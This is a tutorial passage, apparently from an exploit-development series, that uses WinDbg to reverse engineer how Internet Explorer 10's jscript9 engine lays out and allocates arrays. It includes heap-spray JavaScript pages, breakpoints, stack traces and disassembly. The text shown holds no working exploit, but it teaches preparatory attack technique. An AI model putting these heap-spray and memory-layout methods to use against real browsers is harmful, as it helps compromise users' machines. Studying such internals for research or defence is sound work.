My goal is not to simply describe a method, but to show all the work involved in the creation of a complete exploit. The first step is to do a little investigation with WinDbg and discover how arrays and other objects are laid out in memory.

Reverse Engineering IE

Some objects we want to analyze are:

  • Array
  • LargeHeapBlock
  • ArrayBuffer
  • Int32Array

Setting up WinDbg

By now you should already have become familiar with WinDbg and set it up appropriately, but let’s make sure. First, load WinDbg (always the 32-bit version, as administrator), press CTRL-S and enter the symbol path. For instance, here’s mine:

SRV*C:\WinDbgSymbols*http://msdl.microsoft.com/download/symbols

Remember that the first part is the local directory for caching the symbols downloaded from the server.

Hit OK and then save the workspace by clicking on FileSave Workspace.

Now run Internet Explorer 10 and in WinDbg hit F6 to Attach to process. You’ll see that iexplore.exe appears twice in the list. The first instance of iexplore.exe is the main process whereas the second is the process associated with the first tab opened in IE. If you open other tabs, you’ll see more instances of the same process. Select the second instance like shown in the picture below:

Image may be NSFW.
Clik here to view.
pic_1

This is the layout I use for WinDbg:

Image may be NSFW.
Clik here to view.
pic_2

Set the windows the way you like and then save the workspace again.

Array

Let’s start with the object Array. Create an html file with the following code:

<html>
<head>
<script language="javascript">
  alert("Start");
  var a = new Array(0x123);
  for (var i = 0; i < 0x123; ++i)
    a[i] = 0x111;
  alert("Done");
</script>
</head>
<body>
</body>
</html>

Open the file in IE, allow blocked content, and when the dialog box with the text Start pops up run WinDbg, hit F6 and attach the debugger to the second instance of iexplore.exe like you did before. Hit F5 (go) to resume execution and close the dialog box in IE. Now you should be seeing the second dialog with the message Done.

Go back in WinDbg and try to search the memory for the content of the array. As you can see by looking at the source code, the array contains a sequence of 0x111. Here’s what we get:

0:004> s-d 0 L?ffffffff 111 111 111 111

We got nothing! How odd… But even if we had found the array in memory, that wouldn’t have been enough to locate the code which does the actual allocation. We need a smarter way.

Why don’t we spray the heap? Let’s change the code:

<html>
<head>
<script language="javascript">
  alert("Start");
  var a = new Array();
  for (var i = 0; i < 0x10000; ++i) {
    a[i] = new Array(0x1000/4);     // 0x1000 bytes = 0x1000/4 dwords
    for (var j = 0; j < a[i].length; ++j)
      a[i][j] = 0x111;
  }
  alert("Done");
</script>
</head>
<body>
</body>
</html>

After updating the html file, resume the execution in WinDbg (F5), close the Done dialog box in IE and reload the page (F5). Close the dialog box (Start) and wait for the next dialog box to appear. Now let’s have a look at IE’s memory usage by opening the Task Manager:

Image may be NSFW.
Clik here to view.
pic_3

We allocated about 550 MB. We can use an application called VMMap (download) to get a graphical depiction of our heap spray.

Open VMMap and select the right instance of iexplore.exe as shown in the picture below:

Image may be NSFW.
Clik here to view.
pic_4

Now go to ViewFragmentation View. You’ll see something like this:

Image may be NSFW.
Clik here to view.
pic_5

The area in yellow is the memory allocated through the heap spray. Let’s try to analyze the memory at the address 0x1ffd0000, which is in the middle of our data:

Image may be NSFW.
Clik here to view.
pic_6

Let’s make it sure that this is indeed one of our arrays by modifying the code a bit:

<html>
<head>
<script language="javascript">
  alert("Start");
  var a = new Array();
  for (var i = 0; i < 0x10000; ++i) {
    a[i] = new Array(0x1234/4);     // 0x1234/4 = 0x48d
    for (var j = 0; j < a[i].length; ++j)
      a[i][j] = 0x123;
  }
  alert("Done");
</script>
</head>
<body>
</body>
</html>

We repeat the process and here’s the result:

Image may be NSFW.
Clik here to view.
pic_7

As we can see, now the array contains the values 0x247. Let’s try something different:

<html>
<head>
<script language="javascript">
  alert("Start");
  var a = new Array();
  for (var i = 0; i < 0x10000; ++i) {
    a[i] = new Array(0x1000/4);
    for (var j = 0; j < a[i].length; ++j)
      a[i][j] = j;
  }
  alert("Done");
</script>
</head>
<body>
</body>
</html>

Now we get the following:

Image may be NSFW.
Clik here to view.
pic_8

Now the array contains the odd numbers starting with 1. We know that our array contains the numbers

1 2 3 4 5 6 7 8 9 ...

but we get

3 5 7 9 11 13 15 17 19 ...

It’s clear that the number n is represented as n*2 + 1. Why is that? You should know that an array can also contain references to objects so there must be a way to tell integers and addresses apart. Since addresses are multiple of 4, by representing any integer as an odd number, it’ll never be confused with a reference. But what about a number such as 0x7fffffff which is the biggest positive number in 2-complement? Let’s experiment a bit:

<html>
<head>
<script language="javascript">
  alert("Start");
  var a = new Array();
  for (var i = 0; i < 0x10000; ++i) {
    a[i] = new Array(0x1000/4);
    a[i][0] = 0x7fffffff;
    a[i][1] = -2;
    a[i][2] = 1.2345;
    a[i][3] = document.createElement("div");
  }
  alert("Done");
</script>
</head>
<body>
</body>
</html>

Here’s what our array looks like now:

Image may be NSFW.
Clik here to view.
pic_9

The number 0x7fffffff is too big to be stored directly so, instead, IE stores a reference to a JavascriptNumber object. The number -2 is stored directly because it can’t be confused with an address, having its highest bit set.

As you should know by now, the first dword of an object is usually a pointer to its vftable. As you can see from the picture above, this is useful to determine the identity of an object.

Now let’s find out what code allocates the array. We can see that there are probably two headers:

Image may be NSFW.
Clik here to view.
pic_10

The first header tells us that the allocated block is 0x1010 bytes. Indeed, the allocated block has 0x10 bytes of header and 0x1000 bytes of actual data. Because we know that one of our array we’ll be at the address 0x1ffd0000, we can put hardware breakpoints (on write) on fields of both headers. This way we can find out both what code allocates the block and what code creates the object.

First reload the page and stop at the Start dialog box. Go to WinDbg and stop the execution (CTRL+Break). Now set the two breakpoints:

0:004> ba w4 1ffd0000+4
0:004> ba w4 1ffd0000+14
0:004> bl
 0 e 1ffd0004 w 4 0001 (0001)  0:****
 1 e 1ffd0014 w 4 0001 (0001)  0:****

Hit F5 (ignore the error messages) and close the dialog box in IE. When the first breakpoint is triggered, display the stack:

0:007> k 20
ChildEBP RetAddr  
0671bb30 6ea572d8 jscript9!Recycler::LargeAlloc+0xa1      <----------------------
0671bb4c 6eb02c47 jscript9!Recycler::AllocZero+0x91       <----------------------
0671bb8c 6ea82aae jscript9!Js::JavascriptArray::DirectSetItem_Full+0x3fd     <----------------- (*)
0671bc14 05f2074b jscript9!Js::JavascriptOperators::OP_SetElementI+0x1e0
WARNING: Frame IP not in any known module. Following frames may be wrong.
0671bc48 6ea77461 0x5f2074b
0671bde4 6ea55cf5 jscript9!Js::InterpreterStackFrame::Process+0x4b47
0671bf2c 05f80fe9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x305
0671bf38 6ea51f60 0x5f80fe9
0671bfb8 6ea520ca jscript9!Js::JavascriptFunction::CallRootFunction+0x140
0671bfd0 6ea5209f jscript9!Js::JavascriptFunction::CallRootFunction+0x19
0671c018 6ea52027 jscript9!ScriptSite::CallRootFunction+0x40
0671c040 6eafdf75 jscript9!ScriptSite::Execute+0x61
0671c0cc 6eafdb57 jscript9!ScriptEngine::ExecutePendingScripts+0x1e9
0671c154 6eafe0b7 jscript9!ScriptEngine::ParseScriptTextCore+0x2ad
0671c1a8 069cb60c jscript9!ScriptEngine::ParseScriptText+0x5b
0671c1e0 069c945d MSHTML!CActiveScriptHolder::ParseScriptText+0x42
0671c230 069bb52f MSHTML!CJScript9Holder::ParseScriptText+0x58
0671c2a4 069cc6a4 MSHTML!CScriptCollection::ParseScriptText+0x1f0
0671c394 069cc242 MSHTML!CScriptData::CommitCode+0x36e
0671c40c 069cbe6e MSHTML!CScriptData::Execute+0x233
0671c420 069c9b49 MSHTML!CHtmScriptParseCtx::Execute+0x89
0671c498 067d77cc MSHTML!CHtmParseBase::Execute+0x17c
0671c4c4 755862fa MSHTML!CHtmPost::Broadcast+0x88
0671c5c4 069c3273 user32!InternalCallWinProc+0x23
0671c5dc 069c31ff MSHTML!CHtmPost::Run+0x1c
0671c5f4 069c34f3 MSHTML!PostManExecute+0x5f
0671c610 069c34b2 MSHTML!PostManResume+0x7b
0671c650 06830dc9 MSHTML!CHtmPost::OnDwnChanCallback+0x3a
0671c660 0677866c MSHTML!CDwnChan::OnMethodCall+0x19
0671c6b4 067784fa MSHTML!GlobalWndOnMethodCall+0x169
0671c700 755862fa MSHTML!GlobalWndProc+0xd7
0671c72c 75586d3a user32!InternalCallWinProc+0x23

We can see three things:

  1. IE uses a custom allocator.
  2. The array is of type jscript9!Js::JavascriptArray.
  3. The block is probably allocated when we set the value of the first item of the array (*).

Let’s return from the current call with Shift+F11. We land here:

6e9e72ce 6a00            push    0
6e9e72d0 50              push    eax
6e9e72d1 51              push    ecx
6e9e72d2 56              push    esi
6e9e72d3 e80f34ffff      call    jscript9!Recycler::LargeAlloc (6e9da6e7)
6e9e72d8 c70000000000    mov     dword ptr [eax],0    ds:002b:1ffd0010=00000000    <----- we are here
6e9e72de 5e              pop     esi
6e9e72df 5d              pop     ebp
6e9e72e0 c20400          ret     4

Let’s hit Shift+F11 again:

6ea92c3f 51              push    ecx
6ea92c40 8bca            mov     ecx,edx
6ea92c42 e89a67f4ff      call    jscript9!Recycler::AllocZero (6e9d93e1)
6ea92c47 8b55e8          mov     edx,dword ptr [ebp-18h] ss:002b:04d2c058=04d2c054  <----- we are here
6ea92c4a 8b0a            mov     ecx,dword ptr [edx]
6ea92c4c c70000000000    mov     dword ptr [eax],0

EAX points to the buffer, so we can put a breakpoint on 6ea92c47. First let’s write the address of EIP so that it doesn’t depend on the specific base address of the module. First of all we’re in jscript9, as we can see from this:

0:007> !address @eip

                                     
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...


Usage:                  Image
Base Address:           6e9d1000
End Address:            6ec54000
Region Size:            00283000
State:                  00001000  MEM_COMMIT
Protect:                00000020  PAGE_EXECUTE_READ
Type:                   01000000  MEM_IMAGE
Allocation Base:        6e9d0000
Allocation Protect:     00000080  PAGE_EXECUTE_WRITECOPY
Image Path:             C:\Windows\SysWOW64\jscript9.dll
Module Name:            jscript9        <-----------------------------------------
Loaded Image Name:      C:\Windows\SysWOW64\jscript9.dll
Mapped Image Name:      
More info:              lmv m jscript9
More info:              !lmi jscript9
More info:              ln 0x6ea92c47
More info:              !dh 0x6e9d0000

Unloaded modules that overlapped the address in the past:
    BaseAddr  EndAddr     Size
    6ea90000 6ebed000   15d000 VBoxOGL-x86.dll
    6e9b0000 6eb0d000   15d000 VBoxOGL-x86.dll


Unloaded modules that overlapped the region in the past:
    BaseAddr  EndAddr     Size
    6ebf0000 6eccb000    db000 wined3dwddm-x86.dll
    6ea90000 6ebed000   15d000 VBoxOGL-x86.dll
    6e940000 6ea84000   144000 VBoxOGLcrutil-x86.dll
    6eb10000 6ebeb000    db000 wined3dwddm-x86.dll
    6e9b0000 6eb0d000   15d000 VBoxOGL-x86.dll

So, the RVA is the following:

0:007> ? @eip-jscript9
Evaluate expression: 797767 = 000c2c47

The creation of the array (its data, to be exact) can be logged with the following breakpoint:

bp jscript9+c2c47 ".printf \"new Array Data: addr = 0x%p\\n\",eax;g"

Note that we need to escape the double quotes and the back slash because we’re already inside a string. Also, the command g (go) is used to resume the execution after the breakpoint is triggered, because we want to print a message without stopping the execution.

Let’s get back to what we were doing. We set two hardware breakpoints and only the first was triggered, so let’s get going. After we hit F5 one more time, the second breakpoint is triggered and the stack looks like this:

0:007> k 20
ChildEBP RetAddr  
0671bb8c 6ea82aae jscript9!Js::JavascriptArray::DirectSetItem_Full+0x40b    <----------------
0671bc14 05f2074b jscript9!Js::JavascriptOperators::OP_SetElementI+0x1e0
WARNING: Frame IP not in any known module. Following frames may be wrong.
0671bc48 6ea77461 0x5f2074b
0671bde4 6ea55cf5 jscript9!Js::InterpreterStackFrame::Process+0x4b47
0671bf2c 05f80fe9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x305
0671bf38 6ea51f60 0x5f80fe9
0671bfb8 6ea520ca jscript9!Js::JavascriptFunction::CallRootFunction+0x140
0671bfd0 6ea5209f jscript9!Js::JavascriptFunction::CallRootFunction+0x19
0671c018 6ea52027 jscript9!ScriptSite::CallRootFunction+0x40
0671c040 6eafdf75 jscript9!ScriptSite::Execute+0x61
0671c0cc 6eafdb57 jscript9!ScriptEngine::ExecutePendingScripts+0x1e9
0671c154 6eafe0b7 jscript9!ScriptEngine::ParseScriptTextCore+0x2ad
0671c1a8 069cb60c jscript9!ScriptEngine::ParseScriptText+0x5b
0671c1e0 069c945d MSHTML!CActiveScriptHolder::ParseScriptText+0x42
0671c230 069bb52f MSHTML!CJScript9Holder::ParseScriptText+0x58
0671c2a4 069cc6a4 MSHTML!CScriptCollection::ParseScriptText+0x1f0
0671c394 069cc242 MSHTML!CScriptData::CommitCode+0x36e
0671c40c 069cbe6e MSHTML!CScriptData::Execute+0x233
0671c420 069c9b49 MSHTML!CHtmScriptParseCtx::Execute+0x89
0671c498 067d77cc MSHTML!CHtmParseBase::Execute+0x17c
0671c4c4 755862fa MSHTML!CHtmPost::Broadcast+0x88
0671c5c4 069c3273 user32!InternalCallWinProc+0x23
0671c5dc 069c31ff MSHTML!CHtmPost::Run+0x1c
0671c5f4 069c34f3 MSHTML!PostManExecute+0x5f
0671c610 069c34b2 MSHTML!PostManResume+0x7b
0671c650 06830dc9 MSHTML!CHtmPost::OnDwnChanCallback+0x3a
0671c660 0677866c MSHTML!CDwnChan::OnMethodCall+0x19
0671c6b4 067784fa MSHTML!GlobalWndOnMethodCall+0x169
0671c700 755862fa MSHTML!GlobalWndProc+0xd7
0671c72c 75586d3a user32!InternalCallWinProc+0x23
0671c7a4 755877c4 user32!UserCallWinProcCheckWow+0x109
0671c804 7558788a user32!DispatchMessageWorker+0x3bc

By comparing the last two stack traces, we can see that we’re still in the same call of jscript9!Js::JavascriptArray::DirectSetItem_Full. So, DirectSetItem_Full first allocates a block of 0x1010 bytes through jscript9!Recycler::AllocZero and then initializes the object.

But if all this happens inside jscript9!Js::JavascriptArray::DirectSetItem_Full, then the JavascriptArray instance has already been created. Let’s try to break on the constructor. First let’s make sure that it exists:

0:007> x jscript9!Js::JavascriptArray::JavascriptArray
6ea898d6          jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)
6ead481d          jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)
6eb28b61          jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)

We got three addresses.

Let’s delete the previous breakpoints with bc *, hit F5 and reload the page in IE. At the first dialog box, let’s go back in WinDbg. Now let’s put a breakpoint at each one of the three addresses:

0:006> bp 6ea898d6          
0:006> bp 6ead481d          
0:006> bp 6eb28b61          
0:006> bl
 0 e 6ea898d6     0001 (0001)  0:**** jscript9!Js::JavascriptArray::JavascriptArray
 1 e 6ead481d     0001 (0001)  0:**** jscript9!Js::JavascriptArray::JavascriptArray
 2 e 6eb28b61     0001 (0001)  0:**** jscript9!Js::JavascriptArray::JavascriptArray

Hit F5 and close the dialog box. Mmm… the Done dialog box appears and none of our breakpoints is triggered. How odd…

Let’s see if we find something interesting in the list of symbols:

0:006> x jscript9!Js::JavascriptArray::*
6ec61e36          jscript9!Js::JavascriptArray::IsEnumerable (<no parameter info>)
6eabff71          jscript9!Js::JavascriptArray::GetFromIndex (<no parameter info>)
6ec31bed          jscript9!Js::JavascriptArray::BigIndex::BigIndex (<no parameter info>)
6ec300ee          jscript9!Js::JavascriptArray::SetEnumerable (<no parameter info>)
6eb94bd9          jscript9!Js::JavascriptArray::EntrySome (<no parameter info>)
6eace48c          jscript9!Js::JavascriptArray::HasItem (<no parameter info>)
6ea42530          jscript9!Js::JavascriptArray::`vftable' = <no type information>
6ec31a2f          jscript9!Js::JavascriptArray::BigIndex::SetItem (<no parameter info>)
6ec301d1          jscript9!Js::JavascriptArray::IsDirectAccessArray (<no parameter info>)
6eacab83          jscript9!Js::JavascriptArray::Sort (<no parameter info>)
6ecd5500          jscript9!Js::JavascriptArray::EntryInfo::Map = <no type information>
6eb66721          jscript9!Js::JavascriptArray::EntryIsArray (<no parameter info>)
6ec2fd64          jscript9!Js::JavascriptArray::GetDiagValueString (<no parameter info>)
6ec2faeb          jscript9!Js::JavascriptArray::GetNonIndexEnumerator (<no parameter info>)
6ec3043a          jscript9!Js::JavascriptArray::Unshift<Js::JavascriptArray::BigIndex> (<no parameter info>)
6eb4ba72          jscript9!Js::JavascriptArray::EntryReverse (<no parameter info>)
6eaed10f          jscript9!Js::JavascriptArray::SetLength (<no parameter info>)
6eacaadf          jscript9!Js::JavascriptArray::EntrySort (<no parameter info>)
6ec306c9          jscript9!Js::JavascriptArray::ToLocaleString<Js::JavascriptArray> (<no parameter info>)
6eb5f4ce          jscript9!Js::JavascriptArray::BuildSegmentMap (<no parameter info>)
6ec2fef5          jscript9!Js::JavascriptArray::Freeze (<no parameter info>)
6ec31c5f          jscript9!Js::JavascriptArray::GetLocaleSeparator (<no parameter info>)
6ecd54f0          jscript9!Js::JavascriptArray::EntryInfo::LastIndexOf = <no type information>
6eb9b990          jscript9!Js::JavascriptArray::EntryUnshift (<no parameter info>)
6ec30859          jscript9!Js::JavascriptArray::ObjectSpliceHelper<unsigned int> (<no parameter info>)
6ec31ab5          jscript9!Js::JavascriptArray::BigIndex::operator+ (<no parameter info>)
6ea898d6          jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)
6eb5f8f5          jscript9!Js::JavascriptArray::ArrayElementEnumerator::ArrayElementEnumerator (<no parameter info>)
6ec30257          jscript9!Js::JavascriptArray::IndexTrace<unsigned int>::SetItem (<no parameter info>)
6ead481d          jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)
6eac281d          jscript9!Js::JavascriptArray::ConcatArgs<unsigned int> (<no parameter info>)
6ecd5510          jscript9!Js::JavascriptArray::EntryInfo::Reduce = <no type information>
6ea9bf88          jscript9!Js::JavascriptArray::DirectSetItem_Full (<no parameter info>)
6eb9d5ee          jscript9!Js::JavascriptArray::EntryConcat (<no parameter info>)
6ecd5490          jscript9!Js::JavascriptArray::EntryInfo::ToString = <no type information>
6eb49e52          jscript9!Js::JavascriptArray::GetEnumerator (<no parameter info>)
6ecd5430          jscript9!Js::JavascriptArray::EntryInfo::Reverse = <no type information>
6eb66c77          jscript9!Js::JavascriptArray::EntryIndexOf (<no parameter info>)
6eb93fa5          jscript9!Js::JavascriptArray::EntryEvery (<no parameter info>)
6ecd53e0          jscript9!Js::JavascriptArray::EntryInfo::IsArray = <no type information>
6ec31e6d          jscript9!Js::JavascriptArray::JoinOtherHelper (<no parameter info>)
6ec31d73          jscript9!Js::JavascriptArray::sort (<no parameter info>)
6eb94d8c          jscript9!Js::JavascriptArray::EntryFilter (<no parameter info>)
6ec32052          jscript9!Js::JavascriptArray::EntryToLocaleString (<no parameter info>)
6ec61e52          jscript9!Js::JavascriptArray::IsConfigurable (<no parameter info>)
6ecd5410          jscript9!Js::JavascriptArray::EntryInfo::Join = <no type information>
6ec31d56          jscript9!Js::JavascriptArray::CompareElements (<no parameter info>)
6eb5f989          jscript9!Js::JavascriptArray::InternalCopyArrayElements<unsigned int> (<no parameter info>)
6eaef6d1          jscript9!Js::JavascriptArray::IsItemEnumerable (<no parameter info>)
6eb9d4cb          jscript9!Js::JavascriptArray::EntrySplice (<no parameter info>)
6eacf7f0          jscript9!Js::JavascriptArray::EntryToString (<no parameter info>)
6eb5f956          jscript9!Js::JavascriptArray::CopyArrayElements (<no parameter info>)
6ec325e0          jscript9!Js::JavascriptArray::PrepareDetach (<no parameter info>)
6ecd53f0          jscript9!Js::JavascriptArray::EntryInfo::Push = <no type information>
6ec30a8b          jscript9!Js::JavascriptArray::ObjectSpliceHelper<Js::JavascriptArray::BigIndex> (<no parameter info>)
6ec301f7          jscript9!Js::JavascriptArray::DirectSetItemIfNotExist (<no parameter info>)
6ec30083          jscript9!Js::JavascriptArray::SetWritable (<no parameter info>)
6ec30019          jscript9!Js::JavascriptArray::SetConfigurable (<no parameter info>)
6ec31b1d          jscript9!Js::JavascriptArray::BigIndex::operator++ (<no parameter info>)
6ecd54b0          jscript9!Js::JavascriptArray::EntryInfo::IndexOf = <no type information>
6eba1498          jscript9!Js::JavascriptArray::EntryPush (<no parameter info>)
6ecd5460          jscript9!Js::JavascriptArray::EntryInfo::Sort = <no type information>
6ec2fcbb          jscript9!Js::JavascriptArray::SetItemAttributes (<no parameter info>)
6ea8497f          jscript9!Js::JavascriptArray::ArrayElementEnumerator::Init (<no parameter info>)
6ecd5350          jscript9!Js::JavascriptArray::EntryInfo::NewInstance = <no type information>
6eac0596          jscript9!Js::JavascriptArray::EntryPop (<no parameter info>)
6ea82f23          jscript9!Js::JavascriptArray::GetItem (<no parameter info>)
6ec2ffb1          jscript9!Js::JavascriptArray::SetAttributes (<no parameter info>)
6eae718b          jscript9!Js::JavascriptArray::GetItemReference (<no parameter info>)
6ec2fd46          jscript9!Js::JavascriptArray::GetDiagTypeString (<no parameter info>)
6eb61889          jscript9!Js::JavascriptArray::DeleteItem (<no parameter info>)
6ecd5450          jscript9!Js::JavascriptArray::EntryInfo::Slice = <no type information>
6ec319be          jscript9!Js::JavascriptArray::BigIndex::SetItemIfNotExist (<no parameter info>)
6ecd5530          jscript9!Js::JavascriptArray::EntryInfo::Some = <no type information>
6eb16a13          jscript9!Js::JavascriptArray::EntryJoin (<no parameter info>)
6ecd5470          jscript9!Js::JavascriptArray::EntryInfo::Splice = <no type information>
6ec2fc89          jscript9!Js::JavascriptArray::SetItemAccessors (<no parameter info>)
6ec2ff1d          jscript9!Js::JavascriptArray::Seal (<no parameter info>)
6eb5b713          jscript9!Js::JavascriptArray::GetItemSetter (<no parameter info>)
6eb49dc0          jscript9!Js::JavascriptArray::GetEnumerator (<no parameter info>)
6ec30284          jscript9!Js::JavascriptArray::InternalCopyArrayElements<Js::JavascriptArray::BigIndex> (<no parameter info>)
6ec318bb          jscript9!Js::JavascriptArray::BigIndex::DeleteItem (<no parameter info>)
6eb94158          jscript9!Js::JavascriptArray::EntryLastIndexOf (<no parameter info>)
6eba4b06          jscript9!Js::JavascriptArray::NewInstance (<no parameter info>)  <-------------------------
6ecd5520          jscript9!Js::JavascriptArray::EntryInfo::ReduceRight = <no type information>
6ecd54e0          jscript9!Js::JavascriptArray::EntryInfo::ForEach = <no type information>
6ec31d27          jscript9!Js::JavascriptArray::EnforceCompatModeRestrictions (<no parameter info>)
6ecd5440          jscript9!Js::JavascriptArray::EntryInfo::Shift = <no type information>
6eab5de1          jscript9!Js::JavascriptArray::SetProperty (<no parameter info>)
6ecd5400          jscript9!Js::JavascriptArray::EntryInfo::Concat = <no type information>
6ea5b329          jscript9!Js::JavascriptArray::GetProperty (<no parameter info>)
6ec2ff43          jscript9!Js::JavascriptArray::SetAccessors (<no parameter info>)
6ec2fcea          jscript9!Js::JavascriptArray::SetItemWithAttributes (<no parameter info>)
6ea4768d          jscript9!Js::JavascriptArray::IsObjectArrayFrozen (<no parameter info>)
6eae0c2c          jscript9!Js::JavascriptArray::GetNextIndex (<no parameter info>)
6eab5c21          jscript9!Js::JavascriptArray::Is (<no parameter info>)
6ec3177e          jscript9!Js::JavascriptArray::CopyArrayElements (<no parameter info>)
6ec3251d          jscript9!Js::JavascriptArray::SetLength (<no parameter info>)
6eb28b61          jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)
6eaeb83a          jscript9!Js::JavascriptArray::ArraySpliceHelper (<no parameter info>)
6eac3a16          jscript9!Js::JavascriptArray::AllocateHead (<no parameter info>)
6eaffed4          jscript9!Js::JavascriptArray::SetPropertyWithAttributes (<no parameter info>)
6ead00ce          jscript9!Js::JavascriptArray::HasProperty (<no parameter info>)
6ecd54d0          jscript9!Js::JavascriptArray::EntryInfo::Filter = <no type information>
6ec3190f          jscript9!Js::JavascriptArray::BigIndex::SetItem (<no parameter info>)
6eae60d3          jscript9!Js::JavascriptArray::EntryMap (<no parameter info>)
6eb16a9c          jscript9!Js::JavascriptArray::JoinHelper (<no parameter info>)
6ec31b46          jscript9!Js::JavascriptArray::BigIndex::ToNumber (<no parameter info>)
6ea84a80          jscript9!Js::JavascriptArray::ArrayElementEnumerator::ArrayElementEnumerator (<no parameter info>)
6ea8495b          jscript9!Js::JavascriptArray::IsAnyArrayTypeId (<no parameter info>)
6ec2fd1c          jscript9!Js::JavascriptArray::GetSpecialNonEnumerablePropertyName (<no parameter info>)
6ec31bd5          jscript9!Js::JavascriptArray::BigIndex::IsSmallIndex (<no parameter info>)
6eba157a          jscript9!Js::JavascriptArray::EntryForEach (<no parameter info>)
6ea83044          jscript9!Js::JavascriptArray::SetItem (<no parameter info>)
6ec3050a          jscript9!Js::JavascriptArray::ToLocaleString<Js::RecyclableObject> (<no parameter info>)
6ea534e0          jscript9!Js::JavascriptArray::DirectGetItemAt (<no parameter info>)
6ecd5420          jscript9!Js::JavascriptArray::EntryInfo::Pop = <no type information>
6ea59b2d          jscript9!Js::JavascriptArray::ForInLoop (<no parameter info>)
6eafff78          jscript9!Js::JavascriptArray::GetSetter (<no parameter info>)
6eb4ec30          jscript9!Js::JavascriptArray::ArraySegmentSpliceHelper (<no parameter info>)
6eb78e45          jscript9!Js::JavascriptArray::EntryReduce (<no parameter info>)
6eb6697d          jscript9!Js::JavascriptArray::DirectGetItemAtFull (<no parameter info>)
6ec32167          jscript9!Js::JavascriptArray::EntryReduceRight (<no parameter info>)
6eba717f          jscript9!Js::JavascriptArray::EntryShift (<no parameter info>)
6eb99706          jscript9!Js::JavascriptArray::MarshalToScriptContext (<no parameter info>)
6ecd54c0          jscript9!Js::JavascriptArray::EntryInfo::Every = <no type information>
6ec3196b          jscript9!Js::JavascriptArray::BigIndex::DeleteItem (<no parameter info>)
6eb7c0ba          jscript9!Js::JavascriptArray::PreventExtensions (<no parameter info>)
6ecd5480          jscript9!Js::JavascriptArray::EntryInfo::ToLocaleString = <no type information>
6eb93f8b          jscript9!Js::JavascriptArray::DeleteProperty (<no parameter info>)
6ec303b9          jscript9!Js::JavascriptArray::Unshift<unsigned int> (<no parameter info>)
6ea849d5          jscript9!Js::JavascriptArray::FillFromPrototypes (<no parameter info>)
6ea5b3cf          jscript9!Js::JavascriptArray::GetPropertyReference (<no parameter info>)
6ec317e1          jscript9!Js::JavascriptArray::TruncateToProperties (<no parameter info>)
6eabfc81          jscript9!Js::JavascriptArray::EntrySlice (<no parameter info>)
6eae20b0          jscript9!Js::JavascriptArray::JoinToString (<no parameter info>)
6ec30ca8          jscript9!Js::JavascriptArray::ConcatArgs<Js::JavascriptArray::BigIndex> (<no parameter info>)
6ea5c2be          jscript9!Js::JavascriptArray::OP_NewScArray (<no parameter info>)
6eb1682e          jscript9!Js::JavascriptArray::JoinArrayHelper (<no parameter info>)
6ec31f63          jscript9!Js::JavascriptArray::GetFromLastIndex (<no parameter info>)
6eb618a1          jscript9!Js::JavascriptArray::DirectDeleteItemAt (<no parameter info>)
6ead497d          jscript9!Js::JavascriptArray::MakeCopyOnWriteObject (<no parameter info>)
6eb4c512          jscript9!Js::JavascriptArray::EnsureHeadStartsFromZero (<no parameter info>)
6ec31c24          jscript9!Js::JavascriptArray::ToLocaleStringHelper (<no parameter info>)
6eae0be6          jscript9!Js::JavascriptArray::GetBeginLookupSegment (<no parameter info>)
6ecd54a0          jscript9!Js::JavascriptArray::EntryInfo::Unshift = <no type information>

This line looks promising:

6eba4b06          jscript9!Js::JavascriptArray::NewInstance (<no parameter info>)

Let’s put a breakpoint on it and let’s see if this time we’re lucky.

0:006> bc *
0:006> bp jscript9!Js::JavascriptArray::NewInstance

Close the dialog box in IE, reload the page and close the starting dialog. This time everything goes according to plans:

Image may be NSFW.
Clik here to view.
pic_11

By stepping through the code we get to the following piece of code:

6eb02a3c 682870a46e      push    offset jscript9!Recycler::Alloc (6ea47028)
6eb02a41 ff770c          push    dword ptr [edi+0Ch]
6eb02a44 6a20            push    20h
6eb02a46 e84546f4ff      call    jscript9!operator new<Recycler> (6ea47090)     <-------------------
6eb02a4b 8bf0            mov     esi,eax   <--------- ESI = allocated block
6eb02a4d 83c40c          add     esp,0Ch
6eb02a50 85f6            test    esi,esi
6eb02a52 0f841d210a00    je      jscript9!Js::JavascriptArray::NewInstance+0x390 (6eba4b75)
6eb02a58 8b8f00010000    mov     ecx,dword ptr [edi+100h]
6eb02a5e 894e04          mov     dword ptr [esi+4],ecx
6eb02a61 c706b02fa46e    mov     dword ptr [esi],offset jscript9!Js::DynamicObject::`vftable' (6ea42fb0)
6eb02a67 c7460800000000  mov     dword ptr [esi+8],0
6eb02a6e c7460c01000000  mov     dword ptr [esi+0Ch],1
6eb02a75 8b4118          mov     eax,dword ptr [ecx+18h]
6eb02a78 8a4005          mov     al,byte ptr [eax+5]

The operator new is called as follows:

operator new(20h, arg, jscript9!Recycler::Alloc);

Let’s look at the code of the operator new:

jscript9!operator new<Recycler>:
6ea47090 8bff            mov     edi,edi
6ea47092 55              push    ebp
6ea47093 8bec            mov     ebp,esp
6ea47095 ff7508          push    dword ptr [ebp+8]      <----- push 20h
6ea47098 8b4d0c          mov     ecx,dword ptr [ebp+0Ch]
6ea4709b ff5510          call    dword ptr [ebp+10h]    <----- call jscript9!Recycler::Alloc
6ea4709e 5d              pop     ebp
6ea4709f c3              ret

Let’s go back to the main code:

6eb02a3c 682870a46e      push    offset jscript9!Recycler::Alloc (6ea47028)
6eb02a41 ff770c          push    dword ptr [edi+0Ch]
6eb02a44 6a20            push    20h
6eb02a46 e84546f4ff      call    jscript9!operator new<Recycler> (6ea47090)     <-------------------
6eb02a4b 8bf0            mov     esi,eax   <--------- ESI = allocated block
6eb02a4d 83c40c          add     esp,0Ch
6eb02a50 85f6            test    esi,esi
6eb02a52 0f841d210a00    je      jscript9!Js::JavascriptArray::NewInstance+0x390 (6eba4b75)
6eb02a58 8b8f00010000    mov     ecx,dword ptr [edi+100h]
6eb02a5e 894e04          mov     dword ptr [esi+4],ecx
6eb02a61 c706b02fa46e    mov     dword ptr [esi],offset jscript9!Js::DynamicObject::`vftable' (6ea42fb0)
6eb02a67 c7460800000000  mov     dword ptr [esi+8],0
